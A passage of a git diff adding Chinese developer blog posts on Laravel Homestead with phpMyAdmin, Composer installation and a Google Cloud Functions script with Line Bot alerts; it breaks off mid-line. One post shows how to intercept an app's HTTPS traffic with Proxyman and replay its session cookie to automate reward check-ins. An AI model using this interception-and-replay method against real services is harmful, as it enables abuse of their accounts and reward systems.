-> Bool +``` +### 延伸閱讀 +- [iOS 跨平台帳號密碼整合,加強登入體驗](../948ed34efa09/) +- [iOS Deferred Deep Link 延遲深度連結實作\(Swift\)](../b08ef940c196/) + +#### 參考資料 +- [What’s new in Universal Links](https://www.wwdcnotes.com/notes/wwdc20/10098/){:target="_blank"} +- [Apple Documentation](https://developer.apple.com/documentation/bundleresources/applinks){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/universal-links-%E6%96%B0%E9%AE%AE%E4%BA%8B-12c5026da33d){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-02-05-87090f101b9a.md b/_posts/zmediumtomarkdown/2021-02-05-87090f101b9a.md new file mode 100644 index 000000000..76964d3fc --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-02-05-87090f101b9a.md @@ -0,0 +1,473 @@ +--- +title: "重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置" +author: "ZhgChgLi" +date: 2021-02-05T06:01:41.657+0000 +last_modified_at: 2024-04-13T08:55:22.145+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","php","laravel","vagrant","virtualbox"] +description: "從 0 到 1 建置 Laravel 開發環境並搭配 phpMyAdmin GUI 管理 MySql 資料庫" +image: + path: /assets/87090f101b9a/1*9MZPkre9WoEpnu9-BCQNrw.png +render_with_liquid: false +--- + +### \[重灌筆記1\] \-Laravel Homestead \+ phpMyAdmin 環境建置 + +從 0 到 1 建置 Laravel 開發環境並搭配 phpMyAdmin GUI 管理 MySql 資料庫 + + + +![[Laravel](https://laravel.com/){:target="_blank"}](/assets/87090f101b9a/1*9MZPkre9WoEpnu9-BCQNrw.png) + +[Laravel](https://laravel.com/){:target="_blank"} + + +> 最近把 Mac Reset 一遍,紀錄一下重新還原 Laravel 開發環境的步驟。 + + + + +### 環境需求 +- [Vagrant](https://www.vagrantup.com/downloads){:target="_blank"} :虛擬環境配置工具 +- [VirtualBox](https://www.virtualbox.org/wiki/Downloads){:target="_blank"} :免費虛擬機軟體,如果已有購買 [Parallels](https://www.parallels.com/products/desktop/){:target="_blank"} 也可直接使 Parallels(但需要安裝 [plug\-in](https://github.com/Parallels/vagrant-parallels){:target="_blank"} ) + + +下載、安裝完這兩個軟體後,繼續下一步設定。 + + +> _VirtualBox 安裝時會要求要重新開機還有要到「設定」\->「安全性與隱私權」\->「Allow VirtualBox」才能啟用所有服務。_ + + + + +### 配置 Homestead 環境 +```bash +git clone https://github.com/laravel/homestead.git ~/Homestead +cd ~/Homestead +git checkout release +bash init.sh +``` +### phpMyAdmin + + +> _phpMyAdmin 是一個以PHP為基礎,以Web\-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。 — [Wiki](https://zh.wikipedia.org/wiki/PhpMyAdmin){:target="_blank"}_ + + + + +- [phpMyAdmin](https://www.phpmyadmin.net/){:target="_blank"} + + +到 [phpMyAdmin](https://www.phpmyadmin.net/){:target="_blank"} 官網下載最新版本回來。 + +**解壓縮 \.zip \-> 資料夾 \-> 重新命名資料夾名稱 \-> 「phpMyAdmin」:** + + +![](/assets/87090f101b9a/1*HPhO6Mfyon4RaKnyoqiWJw.png) + + +**將** **phpMyAdmin 資料夾移動到 ~/Homestead 資料夾中:** + + +![](/assets/87090f101b9a/1*MNYv9kaQ9tUfMhNrh2RKeQ.png) + +#### phpMyAdmin 設定 + +在 `phpMyAdmin` 資料夾中找到 `config.sample.inc.php` ,將其改名為 `config.inc.php` ,並使用編輯器打開,修改成以下設定: +```php +. + * + * @package PhpMyAdmin + */ +declare(strict_types=1); + +/** + * This is needed for cookie based authentication to encrypt password in + * cookie. Needs to be 32 chars long. + */ +$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */ + +/** + * Servers configuration + */ +$i = 0; + +/** + * First server + */ +$i++; +/* Authentication type */ +$cfg['Servers'][$i]['auth_type'] = 'config'; +/* Server parameters */ +$cfg['Servers'][$i]['host'] = 'localhost'; +$cfg['Servers'][$i]['user'] = 'homestead'; +$cfg['Servers'][$i]['password'] = 'secret'; +$cfg['Servers'][$i]['compress'] = false; +$cfg['Servers'][$i]['AllowNoPassword'] = false; + +/** + * phpMyAdmin configuration storage settings. + */ + +/* User used to manipulate with storage */ +// $cfg['Servers'][$i]['controlhost'] = ''; +// $cfg['Servers'][$i]['controlport'] = ''; +// $cfg['Servers'][$i]['controluser'] = 'pma'; +// $cfg['Servers'][$i]['controlpass'] = 'pmapass'; + +/* Storage database and tables */ +// $cfg['Servers'][$i]['pmadb'] = 'phpmyadmin'; +// $cfg['Servers'][$i]['bookmarktable'] = 'pma__bookmark'; +// $cfg['Servers'][$i]['relation'] = 'pma__relation'; +// $cfg['Servers'][$i]['table_info'] = 'pma__table_info'; +// $cfg['Servers'][$i]['table_coords'] = 'pma__table_coords'; +// $cfg['Servers'][$i]['pdf_pages'] = 'pma__pdf_pages'; +// $cfg['Servers'][$i]['column_info'] = 'pma__column_info'; +// $cfg['Servers'][$i]['history'] = 'pma__history'; +// $cfg['Servers'][$i]['table_uiprefs'] = 'pma__table_uiprefs'; +// $cfg['Servers'][$i]['tracking'] = 'pma__tracking'; +// $cfg['Servers'][$i]['userconfig'] = 'pma__userconfig'; +// $cfg['Servers'][$i]['recent'] = 'pma__recent'; +// $cfg['Servers'][$i]['favorite'] = 'pma__favorite'; +// $cfg['Servers'][$i]['users'] = 'pma__users'; +// $cfg['Servers'][$i]['usergroups'] = 'pma__usergroups'; +// $cfg['Servers'][$i]['navigationhiding'] = 'pma__navigationhiding'; +// $cfg['Servers'][$i]['savedsearches'] = 'pma__savedsearches'; +// $cfg['Servers'][$i]['central_columns'] = 'pma__central_columns'; +// $cfg['Servers'][$i]['designer_settings'] = 'pma__designer_settings'; +// $cfg['Servers'][$i]['export_templates'] = 'pma__export_templates'; + +/** + * End of servers configuration + */ + +/** + * Directories for saving/loading files from server + */ +$cfg['UploadDir'] = ''; +$cfg['SaveDir'] = ''; + +/** + * Whether to display icons or text or both icons and text in table row + * action segment. Value can be either of 'icons', 'text' or 'both'. + * default = 'both' + */ +//$cfg['RowActionType'] = 'icons'; + +/** + * Defines whether a user should be displayed a "show all (records)" + * button in browse mode or not. + * default = false + */ +//$cfg['ShowAll'] = true; + +/** + * Number of rows displayed when browsing a result set. If the result + * set contains more rows, "Previous" and "Next". + * Possible values: 25, 50, 100, 250, 500 + * default = 25 + */ +//$cfg['MaxRows'] = 50; + +/** + * Disallow editing of binary fields + * valid values are: + * false allow editing + * 'blob' allow editing except for BLOB fields + * 'noblob' disallow editing except for BLOB fields + * 'all' disallow editing + * default = 'blob' + */ +//$cfg['ProtectBinary'] = false; + +/** + * Default language to use, if not browser-defined or user-defined + * (you find all languages in the locale folder) + * uncomment the desired line: + * default = 'en' + */ +//$cfg['DefaultLang'] = 'en'; +//$cfg['DefaultLang'] = 'de'; + +/** + * How many columns should be used for table display of a database? + * (a value larger than 1 results in some information being hidden) + * default = 1 + */ +//$cfg['PropertiesNumColumns'] = 2; + +/** + * Set to true if you want DB-based query history.If false, this utilizes + * JS-routines to display query history (lost by window close) + * + * This requires configuration storage enabled, see above. + * default = false + */ +//$cfg['QueryHistoryDB'] = true; + +/** + * When using DB-based query history, how many entries should be kept? + * default = 25 + */ +//$cfg['QueryHistoryMax'] = 100; + +/** + * Whether or not to query the user before sending the error report to + * the phpMyAdmin team when a JavaScript error occurs + * + * Available options + * ('ask' | 'always' | 'never') + * default = 'ask' + */ +//$cfg['SendErrorReports'] = 'always'; + +/** + * You can find more configuration options in the documentation + * in the doc/ folder or at . + */ +``` + +主要是新增修改這三項設定: +``` +$cfg['Servers'][$i]['auth_type'] = 'config'; +$cfg['Servers'][$i]['user'] = 'homestead'; +``` + + +> _homestead 預設 mysql 帳號密碼 `homestead` / `secret` 。_ + + + + +### 配置 Homestead 設定 + +用編輯器打開 `~/Homestead/Homestead.yaml` 設定檔。 +```yaml +--- +ip: "192.168.10.10" +memory: 2048 +cpus: 2 +provider: virtualbox + +authorize: ~/.ssh/id_rsa.pub + +keys: + - ~/.ssh/id_rsa + +folders: + - map: ~/Projects/Web + to: /home/vagrant/code + - map: ~/Homestead/phpMyAdmin + to: /home/vagrant/phpMyAdmin + +sites: + - map: phpMyAdmin.test + to: /home/vagrant/phpMyAdmin + +databases: + - homestead + +features: + - mysql: false + - mariadb: false + - postgresql: false + - ohmyzsh: false + - webdriver: false + +#services: +# - enabled: +# - "postgresql@12-main" +# - disabled: +# - "postgresql@11-main" + +# ports: +# - send: 50000 +# to: 5000 +# - send: 7777 +# to: 777 +# protocol: udp +``` +- `IP` : 預設是 `192.168.10.10` 可改可不 +- `provider` :預設是 `virtualbox` ,如果用 Parallels 才需要改 +- `folders:` 新增 +\- map: ~/Homestead/phpMyAdmin +to: /home/vagrant/phpMyAdmin +- `sites:` 新增 +\- map: phpMyAdmin\.test + to: /home/vagrant/phpMyAdmin + + +如果已經有 Laravel 專案也可以一併在此新增,例如我專案都放在 `~/Projects/Web` 下,所以我也先把目錄映射加上去。 +#### sites 是設定本機虛擬網域與目錄映射,我們還需要修改本地 Hosts 檔增網域虛擬機映射: + +使用 Finder \-> Go \-> `/etc/hosts` ,找到 `hosts` 檔案;複製到桌面(因無法直接修改) + + +> _網域名稱可隨意自訂,反正只有自己本機可以 Access。_ + + + + + +**打開複製出來的 Hosts 檔案,增加 sites 紀錄:** + + +![](/assets/87090f101b9a/1*KS7uM3NAftc593HplpQskQ.png) + +```plaintext + <網域名稱> +``` + +修改好之後儲存,然後再剪下貼回 `/etc/hosts` ,覆蓋掉即可。 +### 安裝&啟動 Homestead Virtual Machine +```bash +cd ~/Homestead +vagrant up --provision +``` + + +> **_⚠️請注意_** _,如果沒加 `--provision` 則設定檔不會更新,輸入網址會出現 `no input file specified` 錯誤。_ + + + + + +第一次啟動,需要下載 Homestead 環境包,需要較長的時間。 + + +![](/assets/87090f101b9a/1*KKt0gW0o4dPZ5Jt4rK-1AQ.png) + + +如果沒有出現特別的錯誤即表示啟動成功,可以下: +```bash +vagrant ssh +``` + + +![](/assets/87090f101b9a/1*HLcOSCdr3Q12OMtEDKi5_A.png) + + +ssh 進入虛擬機。 +#### 檢查 phpMyAdmin 是否正確連線 + +前往 [http://phpmyadmin\.test/](http://phpmyadmin.test/index.php){:target="_blank"} 檢查是否正常開啟。 + + +![](/assets/87090f101b9a/1*wdIhgvubJCZbMNJadB138A.png) + + +成功!我們遇到要操作資料庫的地方,直接進來這邊修改即可。 +### 新建 Laravel 專案 + +如果你有已存在的專案,到這一步已經可以從瀏覽器在本地運行了,如果沒有,這邊補充一下新建 Laravel 專案的方式。 +```bash +~/Homestead +vagrant ssh +``` + +vagrant ssh 進 VM,然後 cd 到 code 目錄: +```bash +cd ./code +``` + +下 laravel new 專案名稱,建立 Laravel 專案:\(以 blog 為例\) +```bash +laravel new blog +``` + + +![](/assets/87090f101b9a/1*8OoRlwxNB-TlILmrBuZ39Q.png) + + + +![](/assets/87090f101b9a/1*77PMrTOLuJgEAa7KluZtmg.png) + + +blog 專案建立成功! +#### 再來我們要將專案設定本機器存取測試網域: + +回頭打開編輯 `~/Homestead/Homestead.yaml` 設定檔。 + +在 `sites` 中新增一筆紀錄: +```yaml +sites: + - map: myblog.test + to: /home/vagrant/code/blog/public +``` + +記得 hosts 也要加上對應紀錄: +```plaintext +192.168.10.10. myblog.test +``` + +最後重啟 homestead: +```bash +vagrant reload --provision +``` + +在瀏覽器輸入 [http://myblog\.test](http://myblog.test){:target="_blank"} 測試是否正確建立&運行: + + +![](/assets/87090f101b9a/1*35xKNTeA7KvEmCnPbFItgA.png) + + +完成! +### 補充 — Mac 安裝 Composer + +雖然已經有用 Homestead 可以不需要另外裝 Composer,但考慮到有的 PHP 專案並不一定使用 Laravel 所以還是要在本機上安裝 Composer。 +- [Composer](https://getcomposer.org/download/){:target="_blank"} + + + +![](/assets/87090f101b9a/1*_z7Tcj74Pw-n1QIOfbhIwA.png) + + +複製下載區段的指令,將 `php composer-setup.php` 替換為: +```bash +php composer-setup.php - install-dir=/usr/local/bin - filename=composer +``` + +Composer v2\.0\.9 範例: +```bash +php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" +php -r "if (hash_file('sha384', 'composer-setup.php') === '756890a4488ce9024fc62c56153228907f1545c228516cbf63f885e036d37e9a59d27d63f46af1d4d07ee0f76181c7d3') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" +php composer-setup.php --install-dir=/usr/local/bin --filename=composer +php -r "unlink('composer-setup.php');" +``` + +並依序在 terminal 輸入指令。 + + +> **_⚠️請注意_** _,不要直接複製使用以上範例,因為隨著 Composer 版本更新 hash check 碼也會跟著變。_ + + + + + + +![](/assets/87090f101b9a/1*i8s7m3ah2YEWI5reRDhpZg.png) + + +輸入 `composer -V` 確認版本&安裝成功! + + +![](/assets/87090f101b9a/1*gga67ah9Td2L1xjyWcQtWw.png) + +### 參考資料 +- [https://laravel\.com/docs/8\.x/homestead](https://laravel.com/docs/8.x/homestead){:target="_blank"} +- [https://getcomposer\.org/download/](https://getcomposer.org/download/){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E9%87%8D%E7%81%8C%E7%AD%86%E8%A8%981-laravel-homestead-phpmyadmin-%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE-87090f101b9a){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-02-20-70a1409b149a.md b/_posts/zmediumtomarkdown/2021-02-20-70a1409b149a.md new file mode 100644 index 000000000..49b82a8ba --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-02-20-70a1409b149a.md @@ -0,0 +1,791 @@ +--- +title: "使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事" +author: "ZhgChgLi" +date: 2021-02-20T11:55:51.105+0000 +last_modified_at: 2024-04-13T08:57:38.602+0000 +categories: "ZRealm Dev." +tags: ["google-cloud-platform","cloud-functions","cloud-scheduler","ios-app-development","python"] +description: "以簽到 APP 獎勵為例,打造每日自動簽到腳本" +image: + path: /assets/70a1409b149a/1*dFvxm6SynzYOmMEUALKJaA.jpeg +render_with_liquid: false +--- + +### 使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事 + +以簽到獎勵 APP 為例,打造每日自動簽到腳本 + + + +![Photo by [Paweł Czerwiński](https://unsplash.com/@pawel_czerwinski?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/70a1409b149a/1*dFvxm6SynzYOmMEUALKJaA.jpeg) + +Photo by [Paweł Czerwiński](https://unsplash.com/@pawel_czerwinski?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 起源 + +一直以來都有使用 Python 做小工具的習慣;有做正經的,工作上自動爬數據、產報表,也有不正經的,排程自動查想要的資訊或是交給腳本完成本來要手動執行的動作。 + +一直以來「自動」這件事,我都很粗暴直接開一台電腦掛著 Python 腳本讓他掛著跑;優點是簡單方便,缺點是要有台設備接著網路接著電;就算是樹莓派也是要消耗著微量的電費網路錢,還有也不能遠端控制啟動或關閉(其實可以,但很麻煩);這次趁著工作空擋,研究了一下免費&上雲端的方法。 +### 目標 + + +> 將 Python 腳本搬到雲端執行、定時自動執行、可透過網路開啟/關閉。 + + + + + +> _本篇以我耍的小聰明,針對簽到獎勵型 APP 撰寫的自動完成簽到的腳本為例,能每日自動幫我簽到,我不用在特別打開 APP 使用;並在執行完成後發通知給我。_ + + + + + + +![完成通知!](/assets/70a1409b149a/1*14yKaOt2YNSMILOD_EoXLg.png) + +完成通知! +#### 本篇章節順序 +1. 使用 Proxyman 進行 Man in the middle attack API 嗅探 +2. 撰寫 Python 腳本,偽造 APP API 請求(模擬簽到動作) +3. 將 Python 腳本搬到 Google Cloud 上 +4. 在 Google Cloud 設定自動排程 + +- 因涉及到敏感領域本篇不會告知是哪個簽到獎勵型 APP,大家可以延伸自行使用 +- **如果只想了解 Python 怎麼串自動執行可跳過前半段 Man in the middle attack API 嗅探部分,從第 3 章看起** 。 + +#### 使用到的工具 +- **Proxyman** :Man in the middle attack API 嗅探 +- **Python** :撰寫腳本 +- **Linebot** :發送腳本執行結果通知給自己 +- **Google Cloud Function** :Python 腳本寄存服務 +- **Google Cloud Scheduler** :自動排程服務 + +### 1\.使用 Proxyman 進行 Man in the middle attack API 嗅探 + +之前有發過一篇「 [APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) 」的文章,道理類似,不過這次改用 Proxyman 取代 mitmproxy;同樣免費,但更好用。 +- 到官網 [https://proxyman\.io/](https://proxyman.io/){:target="_blank"} 下載 Proxyman 工具 +- 下載完後啟動 Proxyman,安裝 Root 憑證(為了做 Man in the middle attack 解包 https 流量內容) + + + +![](/assets/70a1409b149a/1*jb-FAN5h1oFVFFvu1bpYgw.png) + + +「Certificate 」\->「 Install Certificate On this Mac」\->「Installed & Trusted」 + +**電腦的 Root 憑證裝好後換手機的:** + +「Certificate 」\->「 Install Certificate On iOS」\->「Physical Devices…」 + + +![](/assets/70a1409b149a/1*DBi9YVmfoaPH9WSCoPXycA.png) + + +依照指示在手機上掛好 Proxy 並完成憑證安裝及啟用。 +- 在手機上打開想要嗅探 API 傳輸內容的 APP + + + +![](/assets/70a1409b149a/1*q2wbmQ3MJ6nYfjFSBHL9fw.png) + + +這時候 Mac 上的 Proxyman 就會出現嗅探到的流量,點擊裝置 IP 下想要查看的 APP API 網域;第一次查看需要先點「Enable only this domain」之後的流量才能被解包出來。 + +**「Enable only this domain」後就能看到新攔截的流量就會出現原始的 Request、Response 資訊:** + + +![](/assets/70a1409b149a/1*dIp1k-0u-BhJ7iTs0wEIuA.png) + + + +> _我們使用此方法嗅探 APP 上操作簽到時打了哪隻 API EndPoint 及帶了哪些資料,將這些資訊記錄下來,等下使用 Python 直接模擬請求。_ + + + + + +> _⚠️要注意有的 APP token 資訊可能會換,導致日後 Python 模擬請求失效,還要多了解 APP token 交換的方式。_ + + + + + +> _⚠️如果確定 Proxyman 有正常運作,但在掛 Proxyman 的情況下 APP 無法發出請求,代表 APP 可能有做 SSL Pining;目前無解,只能放棄。_ + + + + + +> _⚠️APP 開發者想知道怎麼防範嗅探可參考 [之前的文章](../46410aaada00/) 。_ + + + + +#### **這邊假設我們得到的資訊如下:** +``` +POST /usercenter HTTP/1.1 +Host: zhgchg.li +Content-Type: application/x-www-form-urlencoded +Cookie: PHPSESSID=dafd27784f94904dd586d4ca19d8ae62 +Connection: keep-alive +Accept: */* +User-Agent: (iPhone12,3;iOS 14.5) +Content-Length: 1076 +Accept-Language: zh-tw +Accept-Encoding: gzip, deflate, br +AuthToken: 12345 +``` +### 2\. 撰寫 Python 腳本,偽造 APP API 請求(模擬簽到動作) + + +> _在撰寫 Python 腳本之前,我們可先使用 [Postman](https://www.postman.com/){:target="_blank"} 調試一下參數,觀察看看哪個參數是必要的或是有時效會改變;但要直接照搬也可以。_ + + + + + + +![](/assets/70a1409b149a/1*eVF56j1oOgXeZYbkD1m22g.png) + + +checkIn\.py: +```python +import requests +import json + +def main(args): + results = {} + try: + data = { "action" : "checkIn" } + headers = { "Cookie" : "PHPSESSID=dafd27784f94904dd586d4ca19d8ae62", + "AuthToken" : "12345", + "User-Agent" : "(iPhone12,3;iOS 14.5)" + } + + request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers) + result = json.loads(request.content) + if result['status_code'] == 200: + return "CheckIn Success!" + else: + return result['message'] + except Exception as e: + return str(e) +``` + + +> _⚠️ `main(args)` 這邊的 args 用途後面會講,如果要在本地測試直接帶 `main(True)` 就好。_ + + + + + +使用 Requests 套件幫我們執行 HTTP Request,如果出現: +``` +ImportError: No module named requests +``` + +請先使用 `pip install requests` 安裝套件。 +#### 加上執行結果 Linebot 通知: + +這部分我做的很簡單,僅共參考,僅通知自己。 +- 前往&啟用 [**Line Developers Console 開發者**](https://developers.line.biz/console/){:target="_blank"} +- 建立一個 Provider + + + +![](/assets/70a1409b149a/1*XVYHKZXoHT-2qkbwRcK5Qw.png) + +- 選擇「Create a Messaging API channel」 + + + +![](/assets/70a1409b149a/1*8l_awW31J7FlYh5EvacSmA.png) + + +下一步填好基本訊息後按「Create」送出建立。 +- 建立好之後在第一個「Basic settings」Tab 下面找到「Your user ID」區塊,這就是你的 User ID + + + +![](/assets/70a1409b149a/1*JCmFicC5gXVJ6j3Vgi7CPQ.png) + +- 建立好之後,選擇「Messaging API」Tab,掃描 QRCode 將機器人加入好友。 + + + +![](/assets/70a1409b149a/1*dOF0mHXz6z7be13zjIubTA.png) + +- 繼續往下滾找到「Channel access token」區塊,點擊「Issue」產生 token。 + + + +![](/assets/70a1409b149a/1*eNiyLol6nokoOKsrGp21kw.png) + +- 複製下來產生出來的 Token,我們有這組 Token 就能發訊息給使用者。 + + + +![](/assets/70a1409b149a/1*LDr_vT4urUL73Z_p--yiKA.png) + + + +> _有了 User Id 跟 Token 之後我們就能發訊息給自己了。_ + + +> _因沒有要做其他功能所以連 python line sdk 都不用裝,直接打 http 發。_ + + + + + +**串上之前的 Python 腳本後…** + +checkIn\.py: +```python +import requests +import json + +def main(args): + results = {} + try: + data = { "action" : "checkIn" } + headers = { "Cookie" : "PHPSESSID=dafd27784f94904dd586d4ca19d8ae62", + "AuthToken" : "12345", + "User-Agent" : "(iPhone12,3;iOS 14.5)" + } + + request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers) + result = json.loads(request.content) + if result['status_code'] == 200: + sendLineNotification("CheckIn Success!") + return "CheckIn Success!" + else: + sendLineNotification(result['message']) + return result['message'] + except Exception as e: + sendLineNotification(str(e)) + return str(e) + +def sendLineNotification(message): + data = { + "to" : "這邊帶你的 User ID", + "messages" : [ + { + "type" : "text", + "text" : message + } + ] + } + headers = { + "Content-Type" : "application/json", + "Authorization" : "這邊帶channel access token" + } + request = requests.post('https://api.line.me/v2/bot/message/push',json = data, headers = headers) +``` + +**測看看通知有沒有發成功:** + + +![](/assets/70a1409b149a/1*7I7FMpQ-Gv5MKD0SWkIE0A.png) + + +**Success\!** + + +> _小插曲,通知部分我本來是想用 Gmail SMTP 用信件來發,結果上到 Google Cloud 後發現無法使用…_ + + + + +### 3\. 將 Python 腳本搬到 Google Cloud 上 + +前面基本的講完了,正式進入本篇重頭戲;將 Python 腳本搬上雲端。 + +這部分我一開始向中的是 Google Cloud Run 但用了下覺得太複雜,我實際懶得研究,因為我的需求太小用不到這麼多功能;所以 **我用的是 Google Cloud Function** serverless 方案;實際上比較常用來做的是構建 serverless web 服務。 +- 如果沒使用過 Google Cloud 的朋友,請先前往 [**主控台**](https://console.cloud.google.com/){:target="_blank"} 新增好專案&設定好帳單資訊 +- 在專案主控台首頁,資源的地方點擊「Cloud Functions」 + + + +![](/assets/70a1409b149a/1*pWDK9AQKpbDpgDltFfS9-g.png) + +- 上方選擇「建立函式」 + + + +![](/assets/70a1409b149a/1*ED2WPgfaSHEth3zWUJn05w.png) + +- 輸入基本資訊 + + + +![](/assets/70a1409b149a/1*oetW_iIU9XywDbLZIa8tJQ.png) + + + +> _⚠️記下「 **觸發網址」**_ + + + + + +**區域可選:** +- `US-WEST1` 、 `US-CENTRAL1` 、 `US-EAST1` 可享 Cloud Storage 服務免費額度。 +- `asia-east2` \(Hong Kong\) 靠我們比較近,但需要支付微微的 Cloud Storage 費用。 + + + +> _⚠️建立 Cloud Functions 時會需要 Cloud Storage 寄存程式碼。_ + + +> _⚠️詳細計價方式請參考文末。_ + + + + + +**觸發條件選:** HTTP + +**驗證:** 依需求,我希望我能從外部點連結執行腳本,所以選擇「允許未經驗證的叫用」;如果選擇需要驗證,後續 Scheduler 服務也要做相應設定。 + +**變數、網路及進階設定可在變數中設定變數給 Python 使用(這樣參數有變動就不用改到 Python 程式碼):** + + +![](/assets/70a1409b149a/1*qJC7rcjOnSeKWa8NiYxbpQ.png) + + +**在 Python 中調用的方式:** +```python +import os + +def main(request): + return os.environ.get('test', 'DEFAULT VALUE') +``` + +其他設定都不需要動,直接「儲存」\->「下一步」。 +- 執行階段選「Python 3\.x」並將寫好的 Python 腳本貼上,進入點改成「main」 + + + +![](/assets/70a1409b149a/1*zCK21j82QwsHD1nARuZkBw.png) + + +**補充 main\(args\)** ,同前述,此項服務比較是用來做 serverless web;所以 args 實際是 Request 物件,你能從其中拿到 http get query 及 http post body 資料,具體方式如下: +``` +取得 GET Query 資訊: +request_args = args.args +``` + +example: ?name=zhgchgli => request\_args = \[“name”:”zhgchgli”\] +``` +取得 POST Body 資料: +request_json = request.get_json(silent=True) +``` + +example: name=zhgchgli => request\_json = \[“name”:”zhgchgli”\] + +**如果使用 Postman 測試 POST 記得使用「Raw\+JSON」POST 資料,否則不會有東西:** + + +![](/assets/70a1409b149a/1*jl5joofEWPMLR3JuP988BQ.png) + +- 程式碼部分 OK 之後,切換到「requirements\.txt」輸入有用到的套件依賴: + + + +![](/assets/70a1409b149a/1*2MTOKWDWlXbfjYP1qgp7Sw.png) + + +我們使用「request」這個套件幫我們打 API,此套件不在原生 Python 庫裡面;所以我們要在這裡加上去: +``` +requests>=2.25.1 +``` + +這邊指定版本 ≥ 2\.25\.1,也可不指定只輸入 `requests` 安裝最新版。 +- 都 OK 之後點擊「部署」開始部署。 + + + +![](/assets/70a1409b149a/1*eQvtozhghRLQhxUgE9fMhw.png) + + +需要花約 1~3 分鐘的時間等他部署完成。 +- 部署完成後可由前面記下的「 **觸發網址** 」前去執行查看是否正確運行,或使用「動作」\->「測試函式」進行測試 + + + +![](/assets/70a1409b149a/1*yv1wMHELWSrXiEvE44c9Sw.png) + + +如果出現 `500 Internal Server Error` 則代表程式有錯,可點擊名稱進入查看「紀錄」,在其中找到原因: + + +![](/assets/70a1409b149a/1*DeiRZT3wC1Z7Jv4WIRaM_Q.png) + +``` +UnboundLocalError: local variable 'db' referenced before assignment +``` +- 點擊名稱進入後也可按「編輯」修改腳本內容 + + + +![](/assets/70a1409b149a/1*KqwYbY826bdVaSIlHUnpbA.png) + + + +> **_測試沒問題就完成了!我們已經順利將 Python 腳本搬上雲端。_** + + + + +#### 補充關於變數部分 + +依照我們的需求,我們需要能有個地方存放、讀取簽到 APP 的 token;因為 token 可能會失效;需要重新要求並寫入共下次執行時使用。 + +想要從外部動態傳入變數到腳本中有以下方法: +- \[Read Only\] 前述所提到的,執行階段環境變數 +- \[Temp\] Cloud Functions 有提供一個 /tmp 目錄共執行時寫入、讀取檔案,但結束後就會刪除,詳情請參考 [官方文件](https://cloud.google.com/functions/docs/concepts/exec#file_system){:target="_blank"} 。 +- \[Read Only\] GET/POST 傳送資料 +- \[Read Only\] 放入附加檔案 + + + +![](/assets/70a1409b149a/1*AAXUcDRZNnRAqIFj02RnyA.png) + + +在程式中使用相對路徑 `./` 就能讀取到, **僅限讀取無法動態修改** ;要修改只能在控制台這修改&重新部署。 + + +> _想要可以讀取、動態修改就需要串接其他 GCP 服務,例如:Cloud SQL、Google Storage、Firebase Cloud Firestore…_ + + + + +- \[Read & Write\] 這邊我選擇的是 Firebase Cloud _Firestore_ 因為目前只有此方案有免費額度使用。 + + +**按照 [入門步驟](https://firebase.google.com/docs/firestore/quickstart#read_data){:target="_blank"} ,建立好 Firebase 專案後;進入 Firebase 後台:** + + +![](/assets/70a1409b149a/1*0DO31noJ4a3xweb1annbSQ.png) + + +在左方選單列找到「 **Cloud Firestore** 」\->「 **新增集合** 」 + + +![](/assets/70a1409b149a/1*7c9sA8ZbxE6uGh6f-nfiVA.png) + + +輸入集合 ID。 + + +![](/assets/70a1409b149a/1*wcp94_25maNL9EoFJTOndA.png) + + +輸入資料內容。 + +一個集合可以有多個文件,每個文件可以有各自的欄位內容;使用上非常彈性。 + +**在 Python 中使用:** + +請先到 [GCP控制台 \-> IAM與管理 \-> 服務帳戶](https://console.cloud.google.com/iam-admin/serviceaccounts){:target="_blank"} ,按照以下步驟下載身份驗證私鑰文件: + +首先選擇帳號: + + +![](/assets/70a1409b149a/1*JeB9m4BWzfRCZSofHq2tLg.png) + + +下方「新增金鑰」\->「建立新的金鑰」 + + +![](/assets/70a1409b149a/1*xi9nQUy48-QlFI4BEdIMew.png) + + +選擇「JSON」下載檔案。 + + +![](/assets/70a1409b149a/1*bsphvdEHgg0XDnHAHMXJvg.png) + + +將此 JSON 檔案放到同 Python 的專案目錄下。 + +**本地開發環境下:** +```bash +pip install --upgrade firebase-admin +``` + +安裝 firebase\-admin 套件。 + +在 Cloud Functions 上要在 `requirements.txt` 中多加入 `firebase-admin` 。 + + +![](/assets/70a1409b149a/1*d67oTblFFKaBHkGC77Mapw.png) + + +環境弄好後,可以來讀取我們剛剛新增的數據了: + +firebase\_admin\.py: +```python +import firebase_admin +from firebase_admin import credentials +from firebase_admin import firestore + +if not firebase_admin._apps: + cred = credentials.Certificate('./身份驗證.json') + firebase_admin.initialize_app(cred) +# 因若重複 initialize_app 會報以下錯誤 +# providing an app name as the second argument. In most cases you only need to call initialize_app() once. But if you do want to initialize multiple apps, pass a second argument to initialize_app() to give each app a unique name. +# 所以安全起見在 initialize_app 前先檢查是否已 init + +db = firestore.client() +ref = 